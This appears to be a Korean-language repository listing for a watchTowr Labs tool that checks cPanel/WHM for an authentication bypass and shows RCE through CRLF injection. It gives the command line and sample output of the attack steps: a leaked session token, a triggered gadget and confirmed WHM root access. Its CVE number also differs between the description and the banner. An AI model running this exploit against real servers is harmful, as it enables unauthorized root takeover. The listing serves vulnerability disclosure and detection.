watchtowrlabs/watchtowr-vs-cpanel-whm-authbypass-to-rce.pyWHM 관리자 인터페이스를 대상으로 cPanel/WHM 인증 우회(CVE-2026-41940)를 검증하고 CRLF 주입을 통한 RCE를 시연하는 탐지 아티팩트 생성기.
cPanel/WHM 인증 우회 탐지 아티팩트 생성기 도구
이 탐지 아티팩트 생성기는 cPanel/WHM이 최근 인증 우회에 취약한지 확인합니다.
취약한 인스턴스를 대상으로 테스트:
python authbypass-RCE.py --target https://target:2087/
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py
(*) cPanel/WHM Authentication Bypass - Detection Artifact Generator
- Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-Pending]
[0] hostname =
[1] minting a preauth session...
session base = :vQ2WC5Bexp0oFSa7
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
HTTP 307, leaked token = /cpsess5691070609
[3] firing do_token_denied to propagate raw -> cache...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.110.0.89"}
cPanel 웹사이트를 여기에서 참조하세요.
최신 보안 연구를 위해 watchTowr 연구소 팀을 팔로우하세요.